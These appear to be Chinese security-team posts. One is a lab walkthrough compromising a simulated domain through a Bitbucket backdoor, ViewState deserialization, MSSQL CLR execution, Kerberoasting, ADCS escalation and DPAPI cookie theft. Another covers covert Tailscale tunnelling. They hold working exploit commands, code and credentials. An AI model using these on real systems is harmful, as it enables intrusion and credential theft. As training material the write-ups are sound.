 
public class Attach {
 
 
public static void main(String[] args) throws Exception {
 
VirtualMachine                 vm;
List vmList;
 
String agentFile = new File("/tmp/agent-1.0-SNAPSHOT.jar").getCanonicalPath();
System.out.println(agentFile);
try {
vmList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vmList) {
System.out.println(vmd.displayName());
if (vmd.displayName().contains("BitbucketServer") || "".equals(vmd.displayName())) {
vm = VirtualMachine.attach(vmd);
 
if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {
continue;
}
 
if (null != vm) {
vm.loadAgent(agentFile);
System.out.println("insert success");
vm.detach();
return;
}
}
}
 
System.out.println("No BitbucketServer Virtual Machine found.");
} catch (Exception e) {
e.printStackTrace();
}
}
}

注入器可以直接在bitbuck编译，执行

等待几分钟后成功获取到了账户密码：

关于bitbucket内存后门这块详细的分析：

https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g

web01

从bitbucket我们获取了一套.net网站的源码，对应内网的web01(192.168.112.101)。

拿到这种源码笔者最喜欢直接去看web.config，有惊喜收获：

密钥如果一直没修改的话是一个天然的后门。

团队的小伙伴也总结过几种利用情况：https://mp.weixin.qq.com/s/UGFu7zLDUMaCGNYlYm3WRw

这里应该是使用>=4.5这种情况，同时开启mac验证与加密：

使用ysoerial生成，这里使用的是老版本1.35：

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c echo 123 > c:\inetpub\wwwroot\1.aspx" --path="/Account/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046" --validationalg="SHA1" --validationkey="86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54"  --isdebug

这里有个坑点，不能使用“--islegacy”参数，这个参数只用来测试apppath对不对，如果加了会报错签名校验失败。

执行后没反应，推测是有AV/EDR禁止了w3wp进程启动其他程序。

需要对ysoserial进行修改，参考：https://github.com/7BitsTeam/exch_CVE-2021-42321/blob/main/TypeConfuseDelegateGenerator.cs

将typeconfuse链原本执行命令的功能改为通过c#代码上传文件的功能，绕过了edr。

代理搭建

在web01的web.config找到数据配置：

  "Server=192.168.112.201;Database=test;User ID=sa;Password=Fucksqlserver@2022" name="BlogEngine" providerName="System.Data.SqlClient" />

在vpn直接访问网络不通，需要通过web01做跳板。目标环境不出网且权限低，这种情况下笔者比较喜欢用neoregeorg这样的web正向后门。

配合proxifier和wintun可以完美建立正向隧道。

sql02

使用navicate连接，尝试使用xpcmd_shell提权：

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE
EXEC master.dbo.xp_cmdshell 'ipconfig'

不可行，应该是杀软拦了。尝试使用clr绕过。

clr类似于mysql的udf提权，加载一个dll执行对应功能。

源码：

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();
        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }
        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();
            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }
            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

进行编译

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"  /target:library helloworld.cs

将dll进行hex编码后执行mssql命令：

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE test SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [MSSQL_ShellcodeLoader]
    AUTHORIZATION [dbo]
    FROM [0xbin of dll]
    WITH PERMISSION_SET = UNSAFE;
GO
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[ExecCommand]
go
exec ExecCommand "whoami"
drop procedure shellcode_loader
drop assembly [MSSQL_ShellcodeLoader]

依旧存在问题

尝试能否直接执行c#代码：

执行：

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using System.IO;
using System.Security.Principal;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
       File.WriteAllText(@"c:\windows\temp\log.txt",WindowsIdentity.GetCurrent().Name);
       return "ok";
    }
}

读取文件：

create table cmd (a text);
BULK INSERT cmd FROM 'c:\windows\temp\log.txt' WITH (FIELDTERMINATOR = 'n',ROWTERMINATOR = 'nn');
select * from cmd;
drop table cmd;

可行，这就转换成如何在只能执行代码的情况下进行下一步渗透的问题了。

当前账户为一个域账户且非本机管理员，但我们可以通过该账户身份去导出ldap信息，spn，gpo等域渗透信息。

通过ldap信息我们发现该账户是一个普通域账户，没有任何组。

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: sqlserver
givenName: sql
distinguishedName: CN=sqlserver,CN=Users,DC=test,DC=local
instanceType: 4
whenCreated: 03/15/2023 13:24:17
whenChanged: 03/15/2023 13:31:30
displayName: sql
uSNCreated: 13051
uSNChanged: 13076
name: sqlserver
objectGUID: {8505454D-ED0C-4949-8FD6-89A680ADB50F}
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133240643712543584
lastLogoff: 0
lastLogon: 133241392715435147
pwdLastSet: 133233605833788381
primaryGroupID: 513
objectSid: S-1-5-21-2687445417-3310065553-3308869922-1115
accountExpires: 9223372036854775807
logonCount: 40
sAMAccountName: sqlserver
sAMAccountType: 805306368
managedObjects: CN=SQL01,CN=Computers,DC=test,DC=local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local
dSCorePropagationData: 03/15/2023 13:24:17
dSCorePropagationData: 01/01/1601 00:00:00
lastLogonTimestamp: 133233606909502313
ADsPath: LDAP://dc01.test.local/CN=sqlserver,CN=Users,DC=test,DC=local
objectClass: top
objectClass: leaf
objectClass: secret
cn: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret
distinguishedName: CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=test,DC=local
instanceType: 4
whenCreated: 03/15/2023 13:31:31
whenChanged: 03/15/2023 13:31:31
uSNCreated: 13077
uSNChanged: 13079
showInAdvancedViewOnly: TRUE
name: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret
objectGUID: {1D695EE2-EBCB-46B2-957A-B9B14729B3CE}
lastSetTime: 133233606916101649
priorSetTime: 133233606916101649
objectCategory: CN=Secret,CN=Schema,CN=Configuration,DC=test,DC=local
isCriticalSystemObject: TRUE
dSCorePropagationData: 01/01/1601 00:00:00
ADsPath: LDAP://dc01.test.local/CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=test,DC=local

暂时没有可以利用的点，接着选择导出spn及票据，主要代码源自https://github.com/GhostPack/SharpRoast：

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using System.IO;
using System.Security.Principal;
using Microsoft.SqlServer.Server;
using System.Text.RegularExpressions;
using System.DirectoryServices;
using System.DirectoryServices.AccountManagement;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        DirectoryEntry directoryObject = null;
        DirectorySearcher userSearcher = null;
        System.Net.NetworkCredential cred = null;
        directoryObject = new DirectoryEntry();
        userSearcher = new DirectorySearcher(directoryObject);
        userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";
        SearchResultCollection users = userSearcher.FindAll();
            
        foreach (SearchResult user in users)
        {
            string samAccountName = user.Properties["samAccountName"][0].ToString();
            string distinguishedName = user.Properties["distinguishedName"][0].ToString();
            string spn = user.Properties["servicePrincipalName"][0].ToString();
            SqlContext.Pipe.Send(string.Format("SamAccountName         : {0}", samAccountName));
            SqlContext.Pipe.Send(string.Format("DistinguishedName      : {0}", distinguishedName));
            SqlContext.Pipe.Send(string.Format("ServicePrincipalName   : {0}", spn));
            string domain = "test.local";
            string userName="test";
            System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
            try
            {
                byte[] requestBytes = ticket.GetRequest();
                string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", "");
                // janky regex to try to find the part of the service ticket we want
                Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)", RegexOptions.IgnoreCase);
                if (match.Success)
                {
                    // usually 23
                    byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16);
                    int cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4;
                    string dataToEnd = match.Groups["DataToEnd"].ToString();
                    string cipherText = dataToEnd.Substring(0, cipherTextLen * 2);
                    if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482")
                    {
                        SqlContext.Pipe.Send(string.Format(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn));
                        bool header = false;
                        foreach (string line in Split(ticketHexStream, 80))
                        {
                            if (!header)
                            {
                                SqlContext.Pipe.Send(string.Format("TicketHexStream        : {0}", line));
                            }
                            else
                            {
                                SqlContext.Pipe.Send(string.Format("                         {0}", line));
                            }
                            header = true;
                        }
                    }
                    else
                    {
                        // output to hashcat format
                        string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));
                        bool header = false;
                        foreach (string line in Split(hash, 80))
                        {
                            if (!header)
                            {
                                SqlContext.Pipe.Send(string.Format("Hash                   : {0}", line));
                            }
                            else
                            {
                                SqlContext.Pipe.Send(string.Format("                         {0}", line));
                            }
                            header = true;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                SqlContext.Pipe.Send(string.Format("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message));
            }
        }
    }
    public static System.Collections.Generic.IEnumerable Split(string text, int partLength)
        {
            if (text == null) { throw new ArgumentNullException("singleLineString"); }
            if (partLength < 1) { throw new ArgumentException("'columns' must be greater than 0."); }
            double partCount = Math.Ceiling((double)text.Length / partLength);
            if (partCount < 2)
            {
                yield return text;
            }
            for (int i = 0; i < partCount; i++)
            {
                int index = i * partLength;
                int lengthLeft = Math.Min(partLength, text.Length - index);
                string line = text.Substring(index, lengthLeft);
                yield return line;
            }
        }
}

装载几个依赖：

CREATE ASSEMBLY [system.directoryservices]
    FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.directoryservices.dll'
    WITH PERMISSION_SET = UNSAFE;
GO
CREATE ASSEMBLY [system.identitymodel]
    FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.identitymodel.dll'
    WITH PERMISSION_SET = UNSAFE;
GO

编译：

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /r:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.AccountManagement.dll" /r:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.dll" roasting.cs

执行：

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE test SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [spn]
    AUTHORIZATION [dbo]
    FROM [0xbin of dll]
    WITH PERMISSION_SET = UNSAFE;
GO
CREATE PROCEDURE [dbo].[roast]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [spn].[StoredProcedures].[ExecCommand]
go
exec roast "whoami"
drop procedure roast
drop assembly [spn]

整理后获得spn及票据:

Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0
SamAccountName         : roast
Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0
DistinguishedName      : CN=roast,CN=Users,DC=test,DC=local
Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0
ServicePrincipalName   : mssql/sql02.test.local
Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0
$krb5tgs$23$*test$test.local$mssql/sql02.test.local*$5F92C1AA1A523402150EB70C529CA5FA$1FDBE06854D3B1A3423D17BA39878FEB2826F1DA2AC4859BCCD7CE880446B0E3D3D55E649EF814E47CEFEFC03EEB674D22FD65F0FCA4C05B973B665C0BA4199733450A2FF2CDF33755453DAC48D05945A9476F81221011F4D027CFE0466489FE635AD4F5852249EE3C5741C8C5DE8DAC0BB5F934D6F5331EBCAE691EEAF1C793F510D11CE5145806A154FA62C50A4E931A84C10C191C792D316C4E049603C5749E59CE5E84FC0E59ADF60D32A3012E6899E34B19F2164C9E627D4683AABC07034B6BD93716A0C973D4CFC8B22E490EDBB78D6A690E6839767DB270B64BC3B795FF2B1F7E91D99364C6A41A849A3CA6EBCDA0A70ED22133E45808703BADE5C7553396FE594C1BE9BA7BB252B7B024FE6CC6EBDA4EEE67507B64FF4C6B73BE9E04BBA368D9D335C7BD0A66AB17FB7C287E6E29DE70493B72107DFACC13286EB96A0A1C3E99ED8982CB8B4B83659178602BFAE541162286CECE0E10969D88497475B8C168936305341C9CEE26071C4F42857E985ADD43E0356DE248D584051D1F0396B5880D706ABD32F79DDBC25E03EB9A309C82C6B5C42D55B660EBBC4F22AD41C1E4E2B5361BE14DE84A3BFB9829DCC9E47AC9C1FBD9729EC1289E54BB40E84347BA001F84959F045F3494F6282C2D8BD7C7C3DCCCE584A51E74CBF7108442E3869750614488F0A855005809F4C51E3941CB3792FF446321CCCE9B7D16295A46BDA54F5C11749C5D7A6CF801A97D36BBEE1AC2AABA7C1FC115FCDC5944452F2C5D4CD83806487F2728D365BB7AAC886E2CC62FE78845B1BA2BFF308500339274FD96E61A50FD309C6B2DE7A741381BEF73FA985FE5542F337E26B45B4B89CE7254D1CDCDA37FB62723B86AB41C7D0E68CCE79A3DECDDFE9766CC08CF0A16C55EBBEA1A87E4C51887A5647B5BDF8EF0CD2255C29ED508E6BC38086B746516EC6E02BC457DA449E3B79EBF7F12DC66AF0F9BEA27BEA6CD2FFF173F26E4C3EEB27CCC0AA5483AF8519B977582D2A5403E3E06B95ED97D2E0108E0B4A0BED4FEEC2D42CE016EA3E81A38B2E01CA1CF617FE4BD375C36BFF8A7514934E07B90125D8A8A25066ED0BE045FAFCD4009C1476748B908DCB319A7436E6430FB9D27F5C3D70105045B8E9950A85C3CD4BE2C8C3E66573E04BBF98EEEF545C1D34A8F00384AE89485F17F

查看ldap信息并使用hashcat等工具破解：

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

得到roast用户的密码：SysAdmin#2023

结合域信息发现存在一台adcs服务器且roast为一普通域账户，可以尝试使用CVE-2022-26923提权

先测试一下是否能正常使用，申请roast用户的证书：

certipy req -u "roast" -p "Sysadmin#2023" -ca TEST-ADCS-CA -template User -target 192.168.112.230 -dc-ip 192.168.112.100 -debug

通过证书获取hash：

certipy auth -pfx roast.pfx -dc-ip 192.168.112.100

可以，进行正式漏洞利用。创建一个机器账户并将dnsHostName属性改为dc的机器名：

certipy account create -dc-ip 192.168.112.100 -u "roast" -p "Sysadmin#2023" -user pwntest -dns dc01.test.local -debug

通过新建的机器账户申请dc01的证书：

certipy req -u "pwntest$" -p "nVi3l2cMiXECZ0pP" -ca TEST-ADCS-CA -template Machine -target 192.168.112.230 -dc-ip 192.168.112.100 -debug

使用dc01的证书获取hash：

certipy auth -pfx dc01.pfx -dc-ip 192.168.112.100

使用secretdump导出域控的机器hash：

aad3b435b51404eeaad3b435b51404ee:d9c6c7a01ffc61f41d88ff7268b084d5

使用域控的机器hash获得所有的hash:

dashe-PC

域管的hash为 cd46c85aaf6e13ef4ff88f106bd296ca，密码强度比较高，无法破解。

pth后smb访问，发现没有装防护软件

直接使用https://github.com/moonD4rk/HackBrowserData工具，抓取浏览器信息：

copy hack-browser-data-windows-64bit.exe \\192.168.112.50\c$\windows\temp
wmic /node:192.168.112.50 process call create "cmd /c c:\windows\temp\hack-browser-data-windows-64bit.exe > c:\windows\temp\1.txt 2>&1"

读取命令执行结果：

没找到chrome，应该是获取masterkey是用内存手段获取masterkey的，只能获取到当前用户，需要我们用dashe的身份执行。

这里不能使用wmic，因为wmic默认是system权限，可以使用schtasks：

使用dashe的hash重新pth：

sekurlsa::pth /domain:test.local /dc:dc01.test.local /user:dashe /ntlm:d67df352cdec7779b5b58953b3f2e2ee

执行

schtasks /create /s 192.168.112.50 /tn backdoor /sc minute /mo 1  /tr c:\windows\temp\hack-browser-data-windows-64bit.exe /ru "test.local\dashe" /f
schtasks /run /s 192.168.112.50 /i /tn test
schtasks /delete /s 192.168.112.50 /tn "backdoor" /f

奇怪的报错:

查了一圈不知道怎么解决，现在面临的问题是没法以dashe用户身份执行命令，上传mimikatz一把梭也不行。只能一步一步来到本地解密。

通过domainkey获取masterkey

获取masterkey方法不止一种，这里选择从域的pvk中获取，首先使用SharpDPAPI获取pvk：

SharpDPAPI.exe  backupkey /server:dc01.test.local /file:key.pvk

之后将pvk传到目标机器上，再使用

cmd /c SharpChrome.exe logins /pvk:key.pvk > c:\1.txt

即可获取logins解密的结果：

尝试登录，存在双因子认证：

从chrome中解cookie：

导入浏览器插件CookieEditor，protonmail有好几个域：

account.proton.me
account-api.proton.me
mail.proton.me ...

面对这种情况Cookie-Editor不是很好使。不能直接用插件导入，mimikatz提供了一个办法可以伪造一个masterkey：

xcopy "\\192.168.112.50\C$\users\dashe\appdata\Roaming\Microsoft\Protect\S-1-5-21-2687445417-3310065553-3308869922-1140\1e366a60-0518-4f7c-abdb-65eb5d35bdf5" /h
mimikatz # dpapi::masterkey /in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5 /pvk:key.pvk

获得一个key：

新建一台虚拟机安装chrome，管理员账户的密码设置为123456，拷贝整个chrome的default到新机器。使用dpapi生成新的masterkey文件，注意需要在新装的机器上执行。

dpapi::create /guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5} /key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117 /password:123456 /protected

将masterkey文件拷贝到Administrator用户的目录下

xcopy 1e366a60-0518-4f7c-abdb-65eb5d35bdf5 C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-1943907461-1399315114-1286489734-500 /h

重启chrome可以看到cookie已经成功导入：

获得最后的flag：

总结

本环境是中等难度的一套环境，大多是常规手法进行突破。环境目前已公开在7bits攻防对抗平台，详情可以点击公众号菜单中的"靶场平台"，或点击下方超链接了解。

xBitsPlatform公测版正式上线啦

交流群

知识星球

阅读原文

跳转微信打开

Tailscale在内网渗透中利用的研究

Tue, 14 Feb 2023 08:50:00 +0800

原创 7bits安全团队 2023-02-14 08:50 江苏

利用Tailscale在内网渗透中搭建隧道。

前言

在内网渗透的过程中，基于内网环境的复杂性，安全测试人员常常需要在其中建立多个代理隧道，以便访问到核心的资产。而建立隧道的工具也层出不穷，除了reGeorg、Frp、stotwawy这些工具外，像Softether这样的正常用途的工具也渐渐被国外的安全团队使用在内网渗透中。

得益于Softether的用户基础，在杀软检测方面几乎不会被查杀，可以做到一定的免杀效果，但是在流量检测方面，多数安全设备都能对其传输的流量进行识别。而本文主要研究能否利用一些正常用途的工具，在官方提供的功能基础上完成对内网渗透的测试。从而能够让网络安全从业者更顺畅的完成测试工作。

本文只研究相关功能的可行性，禁止将该技术用于未经授权的渗透测试行为。

Tailscale介绍

Tailscale是一种基于Wireguard的多地组网的软件，他能够实现将多地主机，都聚合在一个虚拟的局域网中，让这些设备之间能够相互访问。所有的节点都直接使用p2p连接，在一些情况下，速度也很可观。而从目前程序本身来讲，他原本的作用就是进行多地组网，所以杀软也不会对其进行查杀，在流量方面也能起到很好的规避作用。而通过对官方文档的研究，发现利用官方提供的一些功能，可以构造出具有一定安全性与稳定性的隧道。

Tailscale基础使用

账户注册

首先进入官网(https://tailscale.com/)，通过点击Use Tailscale for free进行注册，其中提供了三种登录方式，这里随便使用一种即可。

当登录后，会出现下图的页面。其中Machines中可以查看当前虚拟局域网中存在的主机。

接下来点击Download下载对应的程序，这里以Windows为例

程序安装

下载完毕后对其进行安装。

安装完成后程序会出现在C:\Program Files\Tailscale文件夹中。

通过点击tailscale-ipn.exe即可打开程序。当运行程序后，会以小图标的方式显示在状态栏下方。

设备接入

Windosw设备接入

这里点击Log in 会调用浏览器打开登录窗口。之后进行登录。

登录完毕后，当前主机被接入虚拟局域网。右边的ip是当前主机在虚拟局域网的地址：

回到主页可以看到这里已经增加了一台设备：

Linux设备接入

接下来我们接入第二台设备，第二台设备使用Kali进行接入。用来模拟linux环境下的接入过程。Linux的安装相对简单，利用下面的一行命令即可完成对Tailscale的安装：

curl -fsSL https://tailscale.com/install.sh | sh

安装完毕后使用命令tailscale up启动，之后会弹出一个地址，在浏览器中打开地址，输入账户进行登录：

登录完毕后可以在首页看到该设备，之后可以利用IP栏中的IP进行访问

利用windows测试Kali的连通性

利用kali测试windows的连通性

自此两台设备成功进行了组网。当拥有一台虚拟局域网中的主机时，默认可以双向访问虚拟局域网中的其他所有主机。

Tailscale内网渗透测试利用研究

需要解决的问题

通过上面的使用介绍，可以发现如果要在渗透测试中使用该程序会出现下面的三个问题：

• 隐蔽性问题
• 登录问题
• 权限控制
• 目标主机网段

隐蔽性问题，就是在程序的启动过程中，会在右下角状态栏显示出图标，同时一个正常的登录是通过在图标中右键点击log in来进行登录。这在渗透过程中很难进行操作。另外就是当接入虚拟局域网后，其中的主机可以双向访问，而在渗透测试的过程中，我们仅希望能由安全测试人员，访问到目标主机，而不允许目标直接访问测试人员。最后还存在一个主机网段访问的问题，目前接入虚拟局域网的设备，仅能直接访问其中的设备，不能访问设备中所存在的上层网络。

功能介绍

接下来先介绍一下Tailscale所提供的功能，Tailscale的所有功能都显示在官方的说明文档中，接下来只介绍，能够解决上面问题的功能。

隐蔽性问题的解决

首先来关注隐蔽性的问题，通过观察安装目录，发现该程序仅由四个文件组成。Tailscale-ipn为主程序。如果了解过softether的使用，可以发现在其中是通过将核心的几个文件保存下来，之后利用命令行的方式进行启动。而规避了使用图形化进行操作。

这里发现存在一个tailscale.exe 的文件，而文件名是程序的本身的名字，猜测tailscale-ipn通过调用tailscale.exe来实现对应的功能。通过直接启动该程序发现，其中支持使用命令行进行操作。

当我们使用命令行进行启动后会提示相关的服务没启动。

通过查看计算机中的服务发现，该服务是通过tailscaled.exe文件进行启动的。因为该程序后面没有接参数，我们也直接启动。

之后出现下面的错误提示，发现是权限问题，需要用管理员权限来启动

服务成功被启动。

接下来继续启动tailscale.exe 使用up命令启动，发现没有出现报错。tailscaled也在其中产生了一些连接的日志。

同时右下角没有出现小图标。隐蔽性的问题初步解决了。当利用命令行启动的时候会出现一个问题，此时的账户是没有登录的，也就是没有接入到虚拟局域网中，而正常的登录又需要打开浏览器登录，这也是下面要解决的问题。

登录问题的解决

通过阅读官网提供的文档，发现官方提供了Auth keys的功能，通过使用生成的Auth keys可以直接将目标主机接入到该虚拟局域网中。这样就避免了利用浏览器登录的问题。而可以直接使用命令进行登录。

生成Auth keys

进入Settings标签，点击Generate auth key

进入生成Auth Key 页面，其中有一些内容可以进行设置

标识	内容
Reusable	Key是否允许重复使用
Expiration	Key过期的时间
Ephemeral	临时的设备，即设备如果离线，则从这个虚拟局域网中删除该设备
Tags	标签用作标识一般配合ACL 策略表使用

利用Auth key注册机器

sudo tailscale up --authkey [authkey]

设备成功上线，因为我这里的authkey设置了Ephemeral选项，所以下面可以看到会存在一个Ephemeral的标签。

到这里登录的问题就被解决了。

权限控制问题的解决

由于Taliscale用于多地组网，所以他们之间的关系是相互的，当他与一个设备进行连接的时候，他们之间可以进行相互通信。所以需要让他们仅能由网络测试人员发起请求，被攻击的机器不能向发起请求。

通过查看文档，发现官方为这个问题提供了ACL策略表，通过这个表，我们可以为每台设备制定不同的访问策略。

这里我们简单进行一下设置，如果需要建立更复杂的ACL策略可以参考官方文档。

建立策略：允许kali(100.127.21.76)访问windows(100.91.46.163)，但是不允许从windows访问kali主机。

ACLS设置

点击Access controls 标签，acls列表中的意思是允许所有用户访问所有主机的所有端口。

这里我们设置一条策略，允许所有用户访问Windows的ip以及它的所有端口，当点击保存时，这个策略会实时生效。

之后我们利用Windows访问kali的主机，可以发现已经不能访问了，因为上面的策略，只允许访问Windows的主机

到这里就解决了双向连接的问题。

主机网段问题的解决

现在还存在最后一个问题，现在仅允许对目标主机进行访问，但是无法访问某主机中某个网段的其他主机。

这里接入了另一台主机，这台主机中运行着一台虚拟机，其中的网络模式为nat，作为演示。

在虚拟机中通过python起了一个http服务，用来进行下面的演示

针对这种问题，官网允许将主机设置为Subnet routes(子网路由)。通过对其进行配置允许访问子网路由中的网段

配置子网路由

windows

tailscale up --advertise-routes=10.0.0.0/24,10.0.1.0/24 将desktop-5vaj2mu设置为子网路由，并设置可以访问它的网段为10.0.0.0段

点击edit route settings，勾选上10.0.0.0/24段

子网路由设置完毕后虚拟局域网中的其他主机就可以直接访问desktop-5vaj2mu机器中10.0.0.0网段的所有主机，这里使用penetration机器来访问10.0.0.10的虚拟机，已经能成功访问。

Linux

Linux也可以设置为子网路由，只是相比较与windows需要多设置一个端口转发

设置端口转发

echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
echo 'net.ipv6.conf.all.forwarding = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
sudo sysctl -p /etc/sysctl.d/99-tailscale.conf

echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.all.forwarding = 1' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p /etc/sysctl.conf

设置允许的子网范围

sudo tailscale up --advertise-routes=10.0.0.0/24,10.0.1.0/24

攻击过程模拟

文件上传

接下来模拟，渗透测试人员在获取到shell后，通过上传Tailscale相关文件，之后利用命令行建立隧道。测试人员获取到shell后，上传tailscale.exe 、 tailscaled.exe 、wintun.dll 等文件。

生成auth keys

在tailscale管理面板中生成Auth keys

程序执行

启动tailscaled.exe

启动tailscale.exe 程序这里需要注意的是要在后面加上--unattended 不然程序会自动退出

tailscale.exe up --authkey [authkey] --unattended

成功上线。

ACL策略表配置

之后配置ACL禁止对方访问测试人员的机器

之后就是判断是否有其他的网段，然后建立子网路由对目标主机的内网进行近一步的渗透。

参考

https://pentera.io/blog/pentera-labs-breaking-the-barriers-of-segmentation/
https://tailscale.com/kb/
https://github.com/tailscale/tailscale/issues/6610

阅读原文

跳转微信打开

域渗透-一文了解lsass内存转储攻防技术

Tue, 31 Jan 2023 09:10:00 +0800

原创 7bits安全团队 2023-01-31 09:10 江苏

转储内存是域渗透中重要的一个环节。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。

域渗透-一文了解lsass内存转储攻防技术

引言

转储内存是域渗透中重要的一个环节。随着攻防对抗的升级，安全产品出现了如内存保护、PPL、杀dump文件、APIhook等防御手段，传统的内存转储技术在实战中已经逐渐无法使用。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。

常规手段

mimikatz::logonpasswords

在https://improsec.com/tech-blog/mimikatz-under-the-hood这篇文章中，作者自己实现了logonpasswords模块，主要分为几个步骤：

1. 获取sebug权限
2. 打开lassass进程，并找到lsass加载的lsasrv.dll模块。
3. 在lsasrv.dll模块内存中搜索一个已知的表达式，表达式是lsasrv.dll中LsaInitializeProtectedMemory函数的一部分。
4. 通过固有的某些偏移量获取到指向 IV 和 AES/DES 密钥的指针
